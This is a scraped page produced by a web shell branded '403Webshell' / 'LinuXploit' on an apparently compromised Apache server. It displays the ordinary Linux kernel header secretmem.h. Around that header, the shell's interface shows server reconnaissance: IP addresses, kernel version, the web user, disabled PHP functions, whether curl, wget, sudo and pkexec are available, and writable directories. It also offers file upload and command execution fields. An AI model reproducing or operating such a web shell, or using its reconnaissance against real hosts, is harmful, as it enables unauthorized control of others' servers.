403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.71.124.89
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/src/linux-headers-5.15.0-143-generic/include/linux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/src/linux-headers-5.15.0-143-generic/include/linux/secretmem.h
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
#ifndef _LINUX_SECRETMEM_H
#define _LINUX_SECRETMEM_H

#ifdef CONFIG_SECRETMEM

extern const struct address_space_operations secretmem_aops;

static inline bool page_is_secretmem(struct page *page)
{
	struct address_space *mapping;

	/*
	 * Using page_mapping() is quite slow because of the actual call
	 * instruction and repeated compound_head(page) inside the
	 * page_mapping() function.
	 * We know that secretmem pages are not compound, so we can
	 * save a couple of cycles here.
	 */
	if (PageCompound(page))
		return false;

	mapping = (struct address_space *)
		((unsigned long)page->mapping & ~PAGE_MAPPING_FLAGS);

	if (!mapping || mapping != page->mapping)
		return false;

	return mapping->a_ops == &secretmem_aops;
}

bool vma_is_secretmem(struct vm_area_struct *vma);
bool secretmem_active(void);

#else

static inline bool vma_is_secretmem(struct vm_area_struct *vma)
{
	return false;
}

static inline bool page_is_secretmem(struct page *page)
{
	return false;
}

static inline bool secretmem_active(void)
{
	return false;
}

#endif /* CONFIG_SECRETMEM */

#endif /* _LINUX_SECRETMEM_H */

Youez - 2016 - github.com/yon3zu
LinuXploit